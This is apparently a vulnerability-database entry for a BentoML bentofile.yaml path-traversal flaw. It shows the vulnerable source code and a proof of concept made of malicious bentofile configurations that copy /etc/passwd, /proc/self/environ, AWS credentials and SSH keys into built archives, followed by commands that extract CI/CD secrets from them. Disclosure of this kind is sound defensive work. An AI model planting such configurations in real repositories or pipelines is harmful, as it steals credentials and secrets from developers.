CVE-2026-24123High· 7.4▾ TwilightBentoML has a Path Traversal via Bentofile Configuration
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 40.7 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.5%
BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.
The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.
Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:
def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
_path = os.path.expanduser(os.path.expandvars(filepath))
if not os.path.isabs(_path) and ctx:
_path = os.path.expanduser(os.path.join(ctx, filepath))
if os.path.exists(_path):
return os.path.realpath(_path) # No path containment check
raise FileNotFoundError(f"file {filepath} not found")
Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:
if build_config.description.startswith("file:"):
file_name = build_config.description[5:].strip()
if not ctx_path.joinpath(file_name).exists():
raise InvalidArgument(f"File {file_name} does not exist.")
shutil.copy(ctx_path.joinpath(file_name), bento_readme) # Path traversal
All four vulnerable fields:
description: "file:../../../etc/passwd" → copied to README.mddocker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_scriptdocker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.templateconda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.ymlMultiple path formats are supported, making exploitation trivial:
| Format | description | setup_script | dockerfile_template | environment_yml |
|---|---|---|---|---|
Absolute paths (/etc/passwd) | Yes | Yes | Yes | Yes |
Tilde expansion (~/.ssh/id_rsa) | No | Yes | Yes | Yes |
Env vars ($HOME/.aws/credentials) | No | Yes | Yes | Yes |
Relative traversal (../../../etc/passwd) | Yes | Yes | Yes | Yes |
Proc filesystem (/proc/self/environ) | Yes | Yes | Yes | Yes |
The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().
The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).
# service.py
import bentoml
@bentoml.service
class TestService:
@bentoml.api
def predict(self, text: str) -> str:
return text
bentofile.yaml. Multiple attack vectors are available:Vector 1: Exfiltrate /etc/passwd via description field
service: "service.py:TestService"
description: "file:/etc/passwd"
Vector 2: Exfiltrate all environment variables (CI/CD secrets)
service: "service.py:TestService"
description: "file:/proc/self/environ"
Vector 3: Exfiltrate files using environment variable expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "$HOME/.aws/credentials"
Vector 4: Exfiltrate files using tilde expansion (docker fields only)
service: "service.py:TestService"
docker:
dockerfile_template: "~/.ssh/id_rsa"
Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.
$ bentoml build
Successfully built Bento(tag="test_service:abc123").
# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...
# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...
The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.
Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).
Attack scenarios:
file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets.bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.bentoml < 1.4.34Upgrade to a patched release:
bentoml 1.4.34Connected by shared product, vendor, weakness, or advisory.
CVE-2025-54381Critical· 9.9BentoML SSRF Vulnerability in File Upload Processing
CVE-2025-27520Critical· 9.8BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
CVE-2026-40610Medium· 5.5BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
CVE-2026-27905HighBentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
CVE-2024-9056High· 7.5BentoML Denial of Service (DoS) via Multipart Boundary
CVE-2026-15035High· 7.8A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function async_run_command of the file src/openllm/common.py of the…